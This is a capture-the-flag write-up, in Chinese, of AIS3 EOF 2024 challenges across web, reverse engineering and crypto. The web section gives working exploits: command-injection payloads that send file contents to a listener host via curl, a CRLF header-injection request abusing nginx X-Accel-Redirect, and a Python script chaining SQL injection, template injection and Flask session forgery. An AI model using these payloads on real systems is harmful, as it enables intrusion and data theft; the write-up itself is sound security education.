AIS3 EOF 2024 Writeup

Chumy | Jan 8, 2024 min read

Misc

Welcome

題目

image

Flag

image

AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}

Web

DNS Lookup Tool: Final

image

Webpage

image

解題

正常

image

不存在 domain

image

使用違規字元

image

讀 code 找到 blacklist

image

發現 $() 沒檔,測一下

image

過了

exploit

#!/usr/bin/env python3

from flask import Flask,request,redirect,Response


app = Flask(__name__)

@app.route('/',methods=['GET', 'POST'])
def root():
    print(request.stream.read().decode())
    return "com"

@app.route('/<path:data>',methods=['GET'])
def run(data):
    print(data)
    return "com"

if __name__ == "__main__":
    app.run(host="::", port=80)

payload

curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(ls /)")'

curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(cat /flag_SWeUMks9hGYFciax)")'

curl http://10.105.0.21:21520/ -d 'name=example.$(curl 10.105.2.22 -d "$(cat /$(echo f)lag_SWeUMks9hGYFciax)")'

Flag

image

AIS3{jUsT_3@$y_cOMmAnD_INJEc7ION}

Internal

image

解題

image

看 code ,似乎是 url 帶 redir 參數會被 rediract 到後面的 url

image

image

path 用 /flag 會被 nginx 擋,所以可能要繞過 nginx 取得後端的 /flag api

image

仔細看,這邊似乎有 CRLF 的問題(regex 遇到換行會無效,只檢查到換行前)

image

所以我們可以任意更改 response 的 header 或 content。

image

image

參考這個 nginx doc internal,我們可以增加 X-Accel-Redirect header 讓 nginx 收到這個 response 時從 nginx 改成回傳 /flag api 的內容。

exploit

curl -vvv "$1?redir=$(urlencode "https://google.com
X-Accel-Redirect: /flag")"

Flag

image

AIS3{jU$T_sOM3_funNy_N91Nx_FEatur3}

copypasta

image

解題

一個複製文產生器

image

他會保存所有人在這個網頁生成的文章,裡面有一個文章含有 flag,我們要把牠撈出來。

但是兩個問題

  1. 沒有該文章的 ID
  2. 如果 session 裡面沒有該文章的 ID 他會 permission denied

image

發現這邊有 SQLi 的漏洞

image

這邊還有 SSTI 的漏洞

image

因此思路會是:

  1. 用 SQLi 生成一個帶有 SSTI payload 的模板並生成文章
  2. 利用這個文章的 SSTI 把 session 的 secret_key leak 出來
  3. 用 SQLi 生成一個模板,裡面有 flag page id 的資料
  4. 用 leak 出來 的 secret_key 修改 session
  5. 讀取 flag page

於是構建出 SSTI payload field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key

然後搭配 SQLi 得到這個 payload union SELECT 0 as id, 'ans' as title, '{field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key}' as template

還有 dump flag page id 的 SQLi payload union SELECT id, id as title, id as template from copypasta where orig_id=3

exploit

import requests
import sys
import urllib.parse
import hashlib
from bs4 import BeautifulSoup
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import *

session = requests.session()

sqli = " union SELECT 0 as id, 'ans' as title, '{field.__init__.__globals__[http]._dt_as_utc.__globals__[sys].modules[flask].current_app.secret_key}' as template"

session.get(f'{sys.argv[1]}')
data = session.post(f'{sys.argv[1]}/use?id=0{urllib.parse.quote(sqli, safe="")}', params={'a': 'a'}).text

secret_key = BeautifulSoup(data, "html.parser").article.get_text()
print(f'secret_key: {secret_key}')

sqli = " union SELECT id, id as title, id as template from copypasta where orig_id=3"
data = session.get(f'{sys.argv[1]}/use?id=0{urllib.parse.quote(sqli, safe="")}').text

flagid = BeautifulSoup(data, "html.parser").pre.get_text()
print(f'flagid: {flagid}')

for a in session.cookies:
    if a.name == 'session':
        nowsession = a
        break

serializer = URLSafeTimedSerializer(secret_key=secret_key,
                  salt='cookie-session',
                  serializer=TaggedJSONSerializer(),
                  signer_kwargs={
                      'key_derivation': 'hmac',
                      'digest_method': hashlib.sha1,
                  })

sessiondata = serializer.loads(nowsession.value)
sessiondata['posts'].append(flagid)
session.cookies.set(nowsession.name, serializer.dumps(sessiondata), domain=nowsession.domain, path=nowsession.path)

print(session.get(f'{sys.argv[1]}/view/{flagid}').text)

Flag

image

AIS3{I_l0Ve_P@$tA_@ND_cOpypasta}

Reverse

Flag Generator

image

解題

一個 windows 執行檔

image

執行以後他會生成另一個 flag.exe 執行檔,但是不知道為甚麼生成的檔案是空的。

image

IDA 打開來看到他會執行 writeFile function 來寫 flag.exe 檔案

image

但是這個 writeFile 裡面沒有寫寫檔的程式,只有印一串字串到 stdout。

image

image

所以需要 patch 一下,把一些不需要的拿掉,然後把 fwrite 改成對這個檔案作用,而不是 stdout

image

image

image

成功生成 flag.exe 以後執行就拿到 flag 了

image

Flag

image

AIS3{Us1n9_WINd0w5_I$_suCh_@_p@1N....}

Stateful

image

解題

他是一個 linux ELF 執行檔

image

執行後直接噴 WRONG!!!

image

似乎執行時要輸入一個長度為 43 的字串參數,應該是 flag,這個字串會經過 state_machine function 運算後跟 k_target 裡的資料一個一個做比對。

image

image

image

k_target 複製出來

image

image

state_machine 裡面會有一坨判斷並且會按照某個特定順序執行裡面的這些 function,設定中斷點做 debug 逐步執行,並且記錄這些 function 的執行過程

image

image

得到:

state_3618225054
state_2057902921
state_671274660
state_2357240312
state_1438496410
state_2263885268
state_4260333374
state_3995931083
state_3844354947
state_2421543205
state_416430256
state_2373489361
state_2202680315
state_4026467378
state_1765279360
state_2131447726
state_1132589236
state_3443361864
state_2098792827
state_4237907356
state_269727185
state_1780152111
state_4046605750
state_3544494813
state_4008735947
state_2309210106
state_3908914479
state_2095151013
state_2816834243
state_4165665722
state_3656605789
state_1154341356
state_809393455
state_1093244921
state_1595228866
state_2316743832
state_2907124712
state_3507844042
state_3907553856
state_1929982570
state_4130555047
state_794507810
state_1843624184
state_3901233957
state_126130845
state_71198295
state_557589375
state_3420754995
state_3648003850
state_1978986903

image

這些 function 的內部都是一個加減法運算,所以我們按照這個順序反過來把 k_target 推回去就會拿到 flag 了

image

exploit

data = bytearray(b'\x9E\x26\xEC\x33\xE6\x03\xF4\x3A\x6B\x62\x85\x75\x5F\xC4\xD1\x81\x3B\xEC\xF8\xB0\xFA\x34\x4C\xF2\x58\x72\x5F\x0D\x54\x34\x7B\x22\xCD\x33\x53\x53\xC3\xFA\x54\x80\x33\xCC\x7D')
data = [int(a) for a in data]

data[5] -= data[37] + data[20]
data[8] -= data[14] + data[16]
data[17] -= data[38] + data[24]
data[15] -= data[40] + data[8]
data[37] -= data[12] + data[16]
data[4] -= data[6] + data[22]
data[10] += data[12] + data[22]
data[18] -= data[26] + data[31]
data[23] -= data[30] + data[39]
data[4] -= data[27] + data[25]
data[37] -= data[27] + data[18]
data[41] += data[3] + data[34]
data[13] -= data[26] + data[8]
data[2] -= data[34] + data[25]
data[0] -= data[28] + data[31]
data[4] -= data[7] + data[25]
data[18] -= data[29] + data[15]
data[21] += data[13] + data[42]
data[21] -= data[34] + data[15]
data[7] -= data[10] + data[0]
data[13] -= data[25] + data[28]
data[32] -= data[5] + data[25]
data[31] -= data[1] + data[16]
data[1] -= data[16] + data[40]
data[30] += data[13] + data[2]
data[1] -= data[15] + data[6]
data[7] -= data[21] + data[0]
data[24] -= data[20] + data[5]
data[36] -= data[11] + data[15]
data[0] -= data[33] + data[16]
data[19] -= data[10] + data[16]
data[1] += data[29] + data[13]
data[30] += data[33] + data[8]
data[15] -= data[22] + data[10]
data[20] -= data[19] + data[24]
data[27] -= data[18] + data[20]
data[39] += data[25] + data[38]
data[23] -= data[7] + data[34]
data[37] += data[29] + data[3]
data[5] -= data[40] + data[4]
data[17] -= data[0] + data[7]
data[9] -= data[11] + data[3]
data[31] -= data[34] + data[16]
data[16] -= data[25] + data[11]
data[14] += data[32] + data[6]
data[6] -= data[10] + data[41]
data[2] -= data[11] + data[8]
data[0] += data[18] + data[31]
data[9] += data[2] + data[22]
data[14] -= data[35] + data[8]

data = [(a + 512) % 256 for a in data]

print(data)

print(bytes(data))

Flag

image

AIS3{arE_Y0u_@_sTATEfuL_Or_ST4t3L3SS_CTF3R}

PixelClicker

image

(本題是賽後解的)

解題

一個充滿了點點的正方形的 windows from,這接點點(pixel)可以點擊

image

IDA 打開來看翻一翻,翻到 sub_7FF7059813B0 function 應該是處理點擊 pixel 的 function

最下面的 switch 是處理計數的,點擊次數是存在 dword_7FF705985708 這個 global var 裡

image

上面的 if 是判斷遊戲成功或失敗以及結束的區段。

image

可以發現她會叫你點 600 次以上才結束

image

最後通靈一下應該要把 Block 挖出來存起來看看。

image

因為 600 次太久了,所以把他 patch 成點 1 次就好

image

image

image

中斷點設置在執行完 Block 以後

image

找到 Block 的位置後,把她的資料在 Hex view 全部選取

image

image

image

右鍵 save file

image

然後開 cmd 用 file 看一下發現他長度有 1440054 bytes

image

剛剛選取的不夠的話在重新做一次選取 1440054 bytes 然後 save file

最後用圖片的方式開,可以看到這張圖片

Flag

data

AIS3{jUSt_4_5imPLE_clICkEr_g@m3}

Crypto

Baby RSA

image

解題

進去會給你 N 跟 e 還有用這個 N 跟 e RSA 加密後的 flag 密文

image

每次進去的 N 都不一樣,但是 e 都會是 3

image

可以用 Coppersmith Basic Broadcast Attack,先收集一定數量的 N 跟 flag 密文,然後用 Broadcast Attack 破解密文就會拿到 flag

exploit

import sys
from pwn import *

from Crypto.Util.number import bytes_to_long, long_to_bytes
import json
import gmpy2
from functools import reduce

def modinv(a, m):
    return int(gmpy2.invert(a, m))

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a * b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * modinv(p, n_i) * p
    return int(sum % prod)

if len(sys.argv) > 3:
    target = sys.argv[1]
    port = int(sys.argv[2])
    N = []
    c = []
    for a in range(int(sys.argv[3])):
        r = remote(target, port)
        key = r.recvline().strip().decode()
        N.append(str(key.split(',')[0].split('=')[1]))
        c.append(str(r.recvline().strip().decode().split(':')[1].strip()))
        r.close()
    with open(sys.argv[4], 'w') as f:
        f.write(json.dumps({'N': N, 'c': c}))
else:
    with open(sys.argv[1], 'r') as f:
        data = json.loads(f.read())
    m = chinese_remainder([int(a) for a in data['N']], [int(a) for a in data['c']])
    m, state = gmpy2.iroot(m, 3)
    print(hex(int(m)))
    print(long_to_bytes(m))
python3 exp.py chal1.eof.ais3.org 10002 20 data.json
python3 exp.py data.json

Flag

image

AIS3{c0pPerSMItH$_5hOr7_p@D_a7t4Ck}